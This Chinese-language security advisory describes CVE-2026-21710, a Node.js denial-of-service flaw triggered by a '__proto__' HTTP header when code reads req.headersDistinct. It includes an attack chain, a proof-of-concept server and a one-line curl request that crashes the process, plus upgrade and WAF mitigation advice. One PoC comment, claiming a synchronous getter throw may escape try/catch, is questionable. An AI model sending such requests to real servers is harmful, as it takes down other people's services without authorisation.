IPBUF安全漏洞报告
English
CVE-2026-21710 CVSS 7.5 高危

CVE-2026-21710 Node.js HTTP请求处理拒绝服务漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-21710
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Node.js

相关标签

Node.js拒绝服务DoSHTTP HeaderPrototype PollutionCVE-2026-21710

漏洞概述

Node.js在HTTP请求处理逻辑中存在安全漏洞。当服务器接收到包含名为`__proto__`的Header的请求,且应用程序代码尝试访问`req.headersDistinct`属性时,会触发一个未捕获的`TypeError`异常。根本原因在于`dest["__proto__"]`被解析为`Object.prototype`对象,导致后续代码尝试在非数组对象上执行`.push()`操作。由于该异常在属性getter中同步抛出,无法被常规的`error`事件监听器拦截,从而导致Node.js进程崩溃,造成拒绝服务。

技术细节

该漏洞利用了JavaScript中原型链的特殊性。在Node.js处理`req.headersDistinct`的内部实现中,代码试图将Header值收集到一个目标对象中。当Header名称为`__proto__`时,它不会作为普通键值对存储,而是直接引用了对象的原型。随后,代码逻辑假设该属性对应的值是一个数组并调用`.push()`方法,但`Object.prototype`并非数组,因此抛出TypeError。攻击者无需认证,只需发送特制的网络数据包即可触发。由于异常抛出机制发生在底层属性访问中,常规的错误处理中间件往往无法捕获,导致服务直接中断。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是受影响版本的Node.js(20.x, 22.x, 24.x, 或 v25.x)。
STEP 2
制作攻击载荷
攻击者构造一个特制的HTTP请求,其中包含一个名为`__proto__`的请求头。
STEP 3
发送恶意请求
攻击者将该特制HTTP请求发送给目标Node.js服务器。
STEP 4
触发漏洞
服务器处理请求时,若应用代码访问了`req.headersDistinct`,则会触发原型污染逻辑,导致在非数组对象上调用`.push()`。
STEP 5
拒绝服务
由于抛出的`TypeError`无法被常规错误处理器捕获,导致Node.js进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Vulnerable Server Example const http = require('http'); const server = http.createServer((req, res) => { console.log('Request received'); // Accessing req.headersDistinct triggers the vulnerability // when a header named "__proto__" is present in the request try { const distinctHeaders = req.headersDistinct; res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end('Hello World'); } catch (e) { // This catch block might not work due to the sync nature of the throw in getter console.error('Caught error:', e); res.writeHead(500); res.end('Internal Server Error'); } }); server.listen(3000, () => { console.log('Server listening on port 3000'); }); /* Exploitation via cURL: Send a request with a header named "__proto__" curl -H "__proto__: payload" http://localhost:3000 Expected Result: The Node.js process will crash with an uncaught exception: TypeError: Object.prototype.push is not a function */

影响范围

Node.js 20.x
Node.js 22.x
Node.js 24.x
Node.js v25.x

防御指南

临时缓解措施
建议立即升级Node.js以修复此漏洞。如果无法立即升级,应在网络边界设备(如负载均衡器或WAF)上配置规则,拦截或清洗包含`__proto__`字段的HTTP请求头,防止恶意流量到达后端Node.js应用。此外,开发者应审计代码,尽量减少对`req.headersDistinct`的直接依赖。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表